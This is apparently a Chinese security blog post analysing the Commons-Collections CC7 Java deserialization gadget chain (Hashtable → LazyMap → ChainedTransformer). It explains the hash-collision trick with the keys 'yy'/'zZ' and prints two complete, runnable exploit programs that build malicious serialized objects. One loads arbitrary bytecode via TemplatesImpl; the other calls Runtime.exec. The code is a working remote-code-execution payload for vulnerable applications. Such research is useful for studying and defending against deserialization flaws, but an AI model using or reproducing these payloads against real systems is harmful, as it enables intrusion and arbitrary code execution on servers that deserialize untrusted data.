利用条件
Commons-Collections 3.1 - 3.2.1
不限制JDK版本
利用链
上图是在网上找的CC的几个版本链图
Gadget chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
利用链分析
Hashtable
在 Hashtable
类中的 readObject()
方法中调用了 reconstitutionPut()
方法,该类作为一个反序列化入口
在 readObject()
方法中有以下片段代码
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
for
循环获取了 Hashtable
中的元素,也就是我们put的那两个元素,这里要注意 key
不能相同,因为在 Hashtable
中 key
是唯一的
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
如果我们只put一个元素的话,在这里不会进入for循环,不会调用 equals()
方法
我们需要put两个元素,还有一个更重要的一点是put方法会调用两次,如果每次key计算出来的hashCode不一样,那么index变量也会受到影响,在第二次对tab进行迭代时就找不到对应的值了,就不会进行for循环导致不能执行到 e.key.equals(key)
这里
根据上面的代码分析,我们发现貌似对 tab
中的 hash
和当前元素的 hash
进行了比较是否相等
int hash = key.hashCode();
hash
是通过调用 key.hashCode()
方法获得的,那么也就说我们put的两个元素的 key
值 hash
要相等,看ysoserial工具链中的代码,使用了 yy
和 zZ
,这两个hashCode是一样的,还有 ""
和 f5a5a608
的hashCode也是一样的
那么我们知道了必须要有两个元素,且这两个元素的 key
分别是 yy
和 zZ
,在后面调用了 e.key
的 equals
方法,而这个 key
对象其实就是 LazyMap
AbstractMapDecorator
在 LazyMap
类中没有 equals
方法,在它的父类 AbstractMapDecorator
中有 equals()
方法
protected transient Map map;
map
属性是 Map
类型,这里的 map
其实就是 HashMap
类对象,那么我们看下 HashMap
的父类有没有 equals()
方法
AbstractMap
在 HashMap
的父类 AbstractMap
中有一个 equals()
方法,其中调用了 get()
方法,m
就是我们传入的 LazyMap
类对象
后续就是和CC3的前半部分差不多了,后续就不过多介绍了
这里要注意的一点是,在利用代码中调用 hashtable.put()
方法时,也会调用 equals()
方法,所以也能调用到这里的 get()
方法,导致在序列化阶段就执行了恶意代码,这里我们需要先将 ChainedTransformer
实例化对象的构造方法传入一个空的 Transformer[]
对象,等 hashtable.put()
方法调用完之后再通过反射来设置 iTransformers
属性的值为真正需要利用的 Transformer
对象即可
为什么要remove(“yy”)?
我们正常执行到 hashtable.put(lazyMap1, 1);
是可以正常的将 lazyMap1
对象添加到hashtable中的
由于在调用 hashtable.put()
方法时,也会调用 equals方法
,我们第一次put的时候 tab[]
是空的,for循环是进不去的则正常添加到hashtable中
当第二次put的时候,会从hashtable中迭代获取我们上次添加的那个元素 {yy=1}
,这里由于 yy
和 zZ
的hashCode一样,则调用 AbstractMap
类的 equals()
方法
这里又使用了迭代器,获取了上次我们添加的那个元素 {yy=1}
,此时 key
为 yy
,m
变量则是 {zZ=1}
,跟进到 LazyMap
的 get()
方法中看一下
这里判断 {zZ=1}
中是否包含 yy
这个键,结果是false,则进入if语句
这里往 lazyMap2
对象中添加了一个元素 {yy=yy}
,不论后面如何,这里就很奇怪了,lazyMap2
对象中有两个元素了 {zZ=1,yy=yy}
,那么在反序列化时调用 reconstitutionPut()
方法时会导致计算出来的hashCode不一致,就不能进入for循环执行 equals()
方法了
总结一下,这里主要的原因就是在 lazyMap2.put()
时,多加了一个元素,那么在反序列化时 lazyMap1
和 lazyMap2
的key生成出来的hashCode不一致,也就不能执行到 equals()
方法这里了
利用链EXP编写
TemplatesImpl
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
"/CommonsCollections/EvilCode.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class TemplatesClass = templates.getClass();
Field name = TemplatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"x");
Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformer);
lazyMap2.remove("yy");
serialize(hashtable);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}
###InvokerTransformer
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
public static void main(String[] args) throws Exception {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformer);
lazyMap2.remove("yy");
serialize(hashtable);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}
Author: wileysec
Permalink: https://wileysec.github.io/a70cc9306261.html
Comments